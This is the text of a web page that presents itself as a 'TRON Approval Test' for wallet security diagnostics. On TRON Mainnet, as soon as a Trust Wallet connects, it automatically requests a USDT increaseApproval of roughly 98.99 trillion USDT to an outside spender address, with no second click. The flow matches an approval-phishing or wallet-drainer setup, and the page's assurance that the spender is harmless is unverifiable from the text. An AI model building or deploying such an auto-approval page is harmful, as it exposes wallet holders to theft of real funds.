TRON Approval Test

TRON Mainnet · USDT · wallet security UI diagnostics

This test will request USDT increaseApproval of 98991712037676777472 raw units (98991712037676.777472 USDT) immediately after wallet connection.

You confirm or reject in Trust Wallet. This app submits only the approval you sign. The diagnostic spender has no callable methods or token operations. Approval may consume TRX/energy.

Test configuration

Current origin / domain
Loading origin…
Network
TRON Mainnet tron:0x2b6653dc
Token
USDT
Token address
TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
Spender address
TMub3CeZLorLCbHc3QZ7R3aPuqTq19kMfSView contract
Approval mode
increaseApproval(address,uint256)
Allowance increase (raw uint256)
9899171203767677747298991712037676.777472 USDT
Amount source
configured
Existing allowance (raw uint256)
Read after connection—
Expected resulting allowance (snapshot)
Existing allowance plus configured increment—
AUTO_APPROVE_AFTER_CONNECT
true

The wallet must authorize the TRON Mainnet namespace and tron_signTransaction. Unsupported sessions stop with the exact error. Trust Wallet’s current public WalletConnect guide does not confirm TRON support.

Connect Trust Wallet

Initializing WalletConnect…

TRON Mainnet · WalletConnect v2

After you confirm connection, USDT approval is requested automatically using the disclosed amount mode. There is no second approval click on this site.

Flow result idle

Connected wallet
—
WalletConnect session state
none
Latest flow event
—
Connect started
—
Session established
—
USDT balance read
—
USDT allowance read
—
Approval requested
—
Session → signing SDK invocation
—
Session → relay publication
—
txID (signed)
—
Submission state
not submitted

Delay includes balance/allowance reads when selected and unsigned transaction construction against mainnet RPC. Expected allowance is based on these reads; changes before execution can affect it. “Approved” means signed; submission is reported separately. A wallet’s red warning can only be observed in Trust Wallet.

Wallet / request error
null
Decoded calldata
null
Raw unsigned transaction JSON
null
Signed transaction JSON
null
Diagnostic JSON
{
  "origin": "",
  "token": "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t",
  "spender": "TMub3CeZLorLCbHc3QZ7R3aPuqTq19kMfS",
  "approvalMethod": "increaseApproval",
  "amount": "98991712037676777472",
  "approvalAmountMode": "configured",
  "autoApproveAfterConnect": true
}
Timestamped event log
[]